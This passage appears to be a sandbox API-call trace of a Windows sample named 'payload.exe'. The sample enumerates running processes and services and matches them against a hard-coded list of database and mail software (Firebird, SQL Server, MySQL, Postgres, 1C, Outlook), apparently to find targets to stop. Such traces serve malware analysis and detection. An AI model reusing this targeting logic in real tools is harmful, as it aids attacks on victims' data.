(lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0109.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0109.315] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0109.315] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0109.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0109.315] lstrlenW (lpString="SysMain") returned 7 [0109.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0109.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0109.315] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0109.315] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0109.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0109.315] lstrlenW (lpString="Themes") returned 6 [0109.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0109.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0109.315] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0109.315] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0109.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0109.315] lstrlenW (lpString="TrkWks") returned 6 [0109.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0109.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0109.315] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0109.315] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0109.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0109.315] lstrlenW (lpString="UxSms") returned 5 [0109.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0109.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0109.315] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0109.315] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0109.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0109.315] lstrlenW (lpString="WdiServiceHost") returned 14 [0109.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0109.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0109.315] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0109.315] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0109.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0109.315] lstrlenW (lpString="WdiSystemHost") returned 13 [0109.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0109.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0109.315] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0109.315] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0109.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0109.315] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0109.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0109.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0109.316] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0109.316] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0109.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0109.316] lstrlenW (lpString="Winmgmt") returned 7 [0109.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0109.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0109.316] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0109.316] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0109.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0109.316] lstrlenW (lpString="WPDBusEnum") returned 10 [0109.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0109.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0109.316] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0109.316] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0109.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0109.316] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5e07c8 | out: hHeap=0x4f0000) returned 1 [0109.316] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x394 [0109.317] Process32FirstW (in: hSnapshot=0x394, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0109.318] Process32NextW (in: hSnapshot=0x394, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0109.318] lstrlenW (lpString="System") returned 6 [0109.318] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0109.318] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0109.318] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0109.318] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0109.318] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0109.318] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0109.318] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0109.318] Process32NextW (in: hSnapshot=0x394, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0109.318] lstrlenW (lpString="smss.exe") returned 8 [0109.318] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0109.318] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0109.318] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0109.319] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0109.319] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0109.319] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0109.319] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0109.319] Process32NextW (in: hSnapshot=0x394, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0109.319] lstrlenW (lpString="csrss.exe") returned 9 [0109.319] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0109.319] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0109.319] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0109.319] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0109.319] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0109.319] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0109.319] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0109.319] Process32NextW (in: hSnapshot=0x394, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0109.319] lstrlenW (lpString="wininit.exe") returned 11 [0109.319] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0109.319] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0109.319] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0109.319] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0109.319] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0109.319] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0109.319] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0109.319] Process32NextW (in: hSnapshot=0x394, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0109.320] lstrlenW (lpString="csrss.exe") returned 9 [0109.320] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0109.320] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0109.320] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0109.320] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0109.320] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0109.320] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0109.320] Process32NextW (in: hSnapshot=0x394, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0109.320] lstrlenW (lpString="winlogon.exe") returned 12 [0109.320] Process32NextW (in: hSnapshot=0x394, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0109.320] lstrlenW (lpString="services.exe") returned 12 [0109.320] Process32NextW (in: hSnapshot=0x394, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0109.320] lstrlenW (lpString="lsass.exe") returned 9 [0109.321] Process32NextW (in: hSnapshot=0x394, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0109.321] lstrlenW (lpString="lsm.exe") returned 7 [0109.321] Process32NextW (in: hSnapshot=0x394, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.321] lstrlenW (lpString="svchost.exe") returned 11 [0109.321] Process32NextW (in: hSnapshot=0x394, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.321] lstrlenW (lpString="svchost.exe") returned 11 [0109.321] Process32NextW (in: hSnapshot=0x394, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.321] lstrlenW (lpString="svchost.exe") returned 11 [0109.321] Process32NextW (in: hSnapshot=0x394, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.322] lstrlenW (lpString="svchost.exe") returned 11 [0109.322] Process32NextW (in: hSnapshot=0x394, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.322] lstrlenW (lpString="svchost.exe") returned 11 [0109.322] Process32NextW (in: hSnapshot=0x394, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0109.322] lstrlenW (lpString="audiodg.exe") returned 11 [0109.322] Process32NextW (in: hSnapshot=0x394, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.322] lstrlenW (lpString="svchost.exe") returned 11 [0109.322] Process32NextW (in: hSnapshot=0x394, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.323] lstrlenW (lpString="svchost.exe") returned 11 [0109.323] Process32NextW (in: hSnapshot=0x394, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0109.323] lstrlenW (lpString="userinit.exe") returned 12 [0109.323] Process32NextW (in: hSnapshot=0x394, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0109.323] lstrlenW (lpString="dwm.exe") returned 7 [0109.323] Process32NextW (in: hSnapshot=0x394, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0109.323] lstrlenW (lpString="explorer.exe") returned 12 [0109.323] Process32NextW (in: hSnapshot=0x394, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0109.324] lstrlenW (lpString="spoolsv.exe") returned 11 [0109.324] Process32NextW (in: hSnapshot=0x394, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0109.324] lstrlenW (lpString="taskhost.exe") returned 12 [0109.324] Process32NextW (in: hSnapshot=0x394, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.324] lstrlenW (lpString="svchost.exe") returned 11 [0109.324] Process32NextW (in: hSnapshot=0x394, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0109.324] lstrlenW (lpString="payload.exe") returned 11 [0109.324] Process32NextW (in: hSnapshot=0x394, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x558, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0109.325] lstrlenW (lpString="reader_sl.exe") returned 13 [0109.325] Process32NextW (in: hSnapshot=0x394, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0109.325] lstrlenW (lpString="taskhost.exe") returned 12 [0109.325] Process32NextW (in: hSnapshot=0x394, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0109.325] lstrlenW (lpString="dllhost.exe") returned 11 [0109.325] Process32NextW (in: hSnapshot=0x394, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x338, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0109.325] lstrlenW (lpString="consent.exe") returned 11 [0109.325] Process32NextW (in: hSnapshot=0x394, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x338, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0109.326] CloseHandle (hObject=0x394) returned 1 [0109.326] Sleep (dwMilliseconds=0x1f4) [0109.973] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x55ea90 [0109.973] EnumServicesStatusExW (in: hSCManager=0x55ea90, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 0 [0109.974] GetLastError () returned 0xea [0109.974] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x11e4) returned 0x5e07c8 [0109.974] EnumServicesStatusExW (in: hSCManager=0x55ea90, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5e07c8, cbBufSize=0x11e4, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5e07c8, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 1 [0109.974] CloseServiceHandle (hSCObject=0x55ea90) returned 1 [0109.974] lstrlenW (lpString="Appinfo") returned 7 [0109.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0109.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0109.974] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0109.974] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0109.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0109.974] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0109.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0109.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0109.974] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0109.975] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0109.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0109.975] lstrlenW (lpString="AudioSrv") returned 8 [0109.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0109.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0109.975] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0109.975] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0109.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0109.975] lstrlenW (lpString="BFE") returned 3 [0109.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0109.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0109.975] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0109.975] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0109.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0109.975] lstrlenW (lpString="CryptSvc") returned 8 [0109.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0109.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0109.975] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0109.975] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0109.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0109.975] lstrlenW (lpString="CscService") returned 10 [0109.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0109.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0109.975] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0109.975] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0109.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0109.975] lstrlenW (lpString="DcomLaunch") returned 10 [0109.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0109.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0109.975] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0109.975] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0109.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0109.975] lstrlenW (lpString="Dhcp") returned 4 [0109.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0109.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0109.975] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0109.975] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0109.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0109.975] lstrlenW (lpString="Dnscache") returned 8 [0109.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0109.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0109.975] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0109.975] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0109.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0109.975] lstrlenW (lpString="DPS") returned 3 [0109.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0109.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0109.975] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0109.975] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0109.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0109.975] lstrlenW (lpString="eventlog") returned 8 [0109.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0109.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0109.975] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0109.975] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0109.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0109.976] lstrlenW (lpString="EventSystem") returned 11 [0109.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0109.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0109.976] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0109.976] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0109.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0109.976] lstrlenW (lpString="gpsvc") returned 5 [0109.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0109.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0109.976] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0109.976] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0109.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0109.976] lstrlenW (lpString="iphlpsvc") returned 8 [0109.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0109.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0109.976] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0109.976] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0109.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0109.976] lstrlenW (lpString="LanmanServer") returned 12 [0109.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0109.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0109.976] lstrcmpiW (lpString1="sqlwriter", 